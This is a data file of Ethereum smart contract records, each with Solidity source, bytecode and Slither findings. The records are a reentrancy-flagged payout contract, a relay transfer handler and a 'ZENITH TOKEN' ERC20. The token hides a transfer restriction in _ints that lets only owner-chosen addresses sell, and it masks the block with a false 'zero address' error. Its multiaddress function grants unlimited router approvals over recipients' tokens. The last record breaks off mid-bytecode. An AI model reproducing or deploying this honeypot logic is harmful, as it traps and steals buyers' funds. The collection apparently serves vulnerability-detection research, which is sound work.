* Total amount of ETH that the contract has delt with so far.
*/
function totalSpent() public view returns (uint256){
return throughput;
}
/**
* Amount still owed to an individual address
*/
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
/**
* Amount owed to this person.
*/
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
/**
* A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them.
*/
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPooh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
} | 0x60606040526004361061010e5763ffffffff60e060020a6000350416630a44b9cf81146101105780631b3ed722146101355780633151ecfc1461014857806335c1d3491461015b57806339af0513146101935780633ccfd60b146101a65780633febb070146101b95780635f504a82146101cc57806363bd1d4a146101fb5780636cff6f9d1461020e57806379ba5097146102215780638da5cb5b14610234578063949e8acd14610247578063997664d71461025a578063a0ca0a571461026d578063a26dbf2614610280578063a6f9dae114610293578063d0e30db0146102b2578063d493b9ac146102ba578063e5cf2297146102f6578063fb346eab14610315578063ff5d18ca14610328575b005b341561011b57600080fd5b610123610347565b60405190815260200160405180910390f35b341561014057600080fd5b610123610358565b341561015357600080fd5b61012361035e565b341561016657600080fd5b6101716004356103c5565b604051600160a060020a03909216825260208201526040908101905180910390f35b341561019e57600080fd5b6101236103fb565b34156101b157600080fd5b61010e610401565b34156101c457600080fd5b6101236104b0565b34156101d757600080fd5b6101df6104b6565b604051600160a060020a03909116815260200160405180910390f35b341561020657600080fd5b61010e6104c5565b341561021957600080fd5b6101236107fa565b341561022c57600080fd5b61010e610800565b341561023f57600080fd5b6101df61084c565b341561025257600080fd5b61012361085b565b341561026557600080fd5b61012361089d565b341561027857600080fd5b6101236108a3565b341561028b57600080fd5b6101236108ad565b341561029e57600080fd5b61010e600160a060020a03600435166108b3565b61010e6108fd565b34156102c557600080fd5b6102e2600160a060020a0360043581169060243516604435610a23565b604051901515815260200160405180910390f35b341561030157600080fd5b610123600160a060020a0360043516610acf565b341561032057600080fd5b610123610aea565b341561033357600080fd5b610123600160a060020a0360043516610af0565b600061035233610acf565b90505b90565b60045481565b600954600090600160a060020a031663688abbf7600160405160e060020a63ffffffff84160281529015156004820152602401602060405180830381600087803b15156103aa57600080fd5b5af115156103b757600080fd5b505050604051805191505090565b60078054829081106103d357fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60065481565b600954600160a060020a03308116319160009116633ccfd60b620f42406040518263ffffffff1660e060020a028152600401600060405180830381600088803b151561044c57600080fd5b87f1151561045957600080fd5b505060038054600160a060020a0330163186900390810190915592507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b915082905060405190815260200160405180910390a15050565b60065490565b600154600160a060020a031681565b600160a060020a0330163160008080600184116104e157600080fd5b600280548501815560095490850494859003949350600160a060020a031663f088d547620f4240853360405160e060020a63ffffffff8616028152600160a060020a0390911660048201526024016020604051808303818589803b151561054757600080fd5b88f1151561055457600080fd5b50505050506040518051905091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc2220838360405191825260208201526040908101905180910390a15b60008411156107f45760076005548154811015156105b757fe5b90600052602060002090600202016001015484106105f75760076005548154811015156105e057fe5b9060005260206000209060020201600101546105f9565b835b905060008111156107cc576006805482900390556005546007805495839003958392600892600092909190811061062c57fe5b60009182526020808320600290920290910154600160a060020a031683528201929092526040019020805491909103905560055460078054839290811061066f57fe5b906000526020600020906002020160010160008282540392505081905550600760055481548110151561069e57fe5b6000918252602090912060029091020154600160a060020a0316620f424082604051600060405180830381858888f1935050505015610749577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d7649081600760055481548110151561070a57fe5b6000918252602090912060029091020154600160a060020a0316604051918252600160a060020a031660208201526040908101905180910390a16107cc565b600680548201905560055460078054958301958392600892600092909190811061076f57fe5b60009182526020808320600290920290910154600160a060020a031683528201929092526040019020805490910190556005546007805483929081106107b157fe5b60009182526020909120600160029092020101805490910190555b60008411156107df576005805460010190555b600754600554106107ef576107f4565b61059d565b50505050565b60055481565b60015433600160a060020a0390811691161461081b57600080fd5b6001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b600054600160a060020a031681565b600954600090600160a060020a031663949e8acd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156103aa57600080fd5b60035490565b6005546007540390565b60075490565b60005433600160a060020a039081169116146108ce57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000620f4240341161090e57600080fd5b60045460649034020490506007805480600101828161092d9190610b02565b9160005260206000209060020201600060408051908101604052600160a060020a0333168152602081018590529190508151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015160019091015550506006805482019055600160a060020a0333908116600090815260086020526040908190208054840190557f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a5391349151918252600160a060020a031660208201526040908101905180910390a16000610a0a61035e565b1115610a1857610a18610401565b610a206104c5565b50565b6000805433600160a060020a03908116911614610a3f57600080fd5b6009548490600160a060020a0380831691161415610a5c57600080fd5b84600160a060020a031663a9059cbb858560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ab057600080fd5b5af11515610abd57600080fd5b50505060405180519695505050505050565b600160a060020a031660009081526008602052604090205490565b60025490565b60086020526000908152604090205481565b815481835581811511610b2e57600202816002028360005260206000209182019101610b2e9190610b33565b505050565b61035591905b80821115610b6b57805473ffffffffffffffffffffffffffffffffffffffff1916815560006001820155600201610b39565b50905600a165627a7a723058201a3c4f6cae9519ca0de332e76fb74c9063f8ef1d31a2bc6a68ca8409894a528b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,888 |
0x8718d979db9979236def6e1eC6e5cfC405b93F2A | pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
//to do, seperate into forwarderWithPersonalSign.sol and ERC20Forwarder.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* a contract must implement this interface in order to support relayed transaction.
* It is better to inherit the BaseRelayRecipient as its implementation.
*/
abstract contract IRelayRecipient {
/**
* return if the forwarder is trusted to forward relayed transactions to us.
* the forwarder is required to verify the sender's signature, and verify
* the call is not a replay.
*/
function isTrustedForwarder(address forwarder) public virtual view returns(bool);
/**
* return the sender of this call.
* if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes
* of the msg.data.
* otherwise, return `msg.sender`
* should be used in the contract anywhere instead of msg.sender
*/
function _msgSender() internal virtual view returns (address payable);
function versionRecipient() external virtual view returns (string memory);
}
/**
* A base contract to be inherited by any contract that want to receive relayed transactions
* A subclass must use "_msgSender()" instead of "msg.sender"
*/
abstract contract BaseRelayRecipient is IRelayRecipient {
/*
* Forwarder singleton we accept calls from
*/
address public trustedForwarder;
/*
* require a function to be called through GSN only
*/
modifier trustedForwarderOnly() {
require(msg.sender == address(trustedForwarder), "Function can only be called through the trusted Forwarder");
_;
}
function isTrustedForwarder(address forwarder) public override view returns(bool) {
return forwarder == trustedForwarder;
}
/**
* return the sender of this call.
* if the call came through our trusted forwarder, return the original sender.
* otherwise, return `msg.sender`.
* should be used in the contract anywhere instead of msg.sender
*/
function _msgSender() internal override virtual view returns (address payable ret) {
if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) {
// At this point we know that the sender is a trusted forwarder,
// so we trust that the last bytes of msg.data are the verified sender address.
// extract sender address from the end of msg.data
assembly {
ret := shr(96,calldataload(sub(calldatasize(),20)))
}
} else {
return msg.sender;
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20TransferHandler is BaseRelayRecipient{
constructor(address _forwarder) public {
trustedForwarder = _forwarder;
}
function versionRecipient() external virtual view override returns (string memory){ return "1";}
function transfer(address token, address to, uint256 amount) external{
require(IERC20(token).transferFrom(_msgSender(),to,amount));
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c8063486ff0cd14610051578063572b6c051461006f5780637da0a8771461008f578063beabacc8146100a4575b600080fd5b6100596100b9565b604051610066919061029a565b60405180910390f35b61008261007d3660046101db565b6100d5565b604051610066919061028f565b6100976100ec565b6040516100669190610257565b6100b76100b23660046101fc565b6100fb565b005b6040805180820190915260018152603160f81b60208201525b90565b6000546001600160a01b038281169116145b919050565b6000546001600160a01b031681565b826001600160a01b03166323b872dd610112610192565b84846040518463ffffffff1660e01b81526004016101329392919061026b565b602060405180830381600087803b15801561014c57600080fd5b505af1158015610160573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101849190610237565b61018d57600080fd5b505050565b6000601836108015906101a957506101a9336100d5565b156101bd575060131936013560601c6100d2565b50336100d2565b80356001600160a01b03811681146100e757600080fd5b6000602082840312156101ec578081fd5b6101f5826101c4565b9392505050565b600080600060608486031215610210578182fd5b610219846101c4565b9250610227602085016101c4565b9150604084013590509250925092565b600060208284031215610248578081fd5b815180151581146101f5578182fd5b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b901515815260200190565b6000602080835283518082850152825b818110156102c6578581018301518582016040015282016102aa565b818111156102d75783604083870101525b50601f01601f191692909201604001939250505056fea2646970667358221220b29278c9e02e4d8fef088febf0a7316f2901a204ce97eba4ff755a74fe33e21264736f6c63430007060033 | {"success": true, "error": null, "results": {}} | 9,889 |
0x912786a797fb7f8b4ebfcd7519f8fedc19d6d110 | //번역 사이트 : 영어-> 한국어 / 한국어-> 영어 한국어를 배우는 학생들 당신의 고도를 결정하는 것은 당신의 적성 이 아니라 당신의 태도입니다
//저는 한국어를 한국에서 배웠어요
//그는 그녀의 호의를 순수하게 받아들였다
//그 집은 한국에서 지어졌어요
//저는 한국에서 살고 있어요
//그 집은 한국에서 지어졌어요
//저는 한국에서 살고 있어요
//저는 한국에서 살고 있어요
//저는 7년 동안 한국에서 살았어요
//한국어능력시험
//대한민국
// ZENITH TOKEN by 한민국
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e